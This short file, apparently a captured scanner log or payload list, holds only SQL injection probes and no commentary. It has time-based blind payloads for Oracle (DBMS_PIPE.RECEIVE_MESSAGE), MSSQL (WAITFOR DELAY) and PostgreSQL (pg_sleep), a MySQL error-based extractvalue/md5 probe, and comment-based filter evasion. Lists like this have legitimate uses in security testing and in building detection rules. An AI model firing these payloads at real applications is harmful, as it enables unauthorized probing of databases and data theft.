C\'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE(\'g\',0)=\'g
C
C\'and(select+1)>0waitfor/**/delay\'0:0:4
C\"and/**/extractvalue(1,concat(char(126),md5(1100999728)))and\"
C
C
C\'and(select+1)>0waitfor/**/delay\'0:0:0
C
C\'/**/and(select\'1\'from/**/pg_sleep(4))>\'0
C\'/**/and(select\'1\'from/**/pg_sleep(0))>\'0
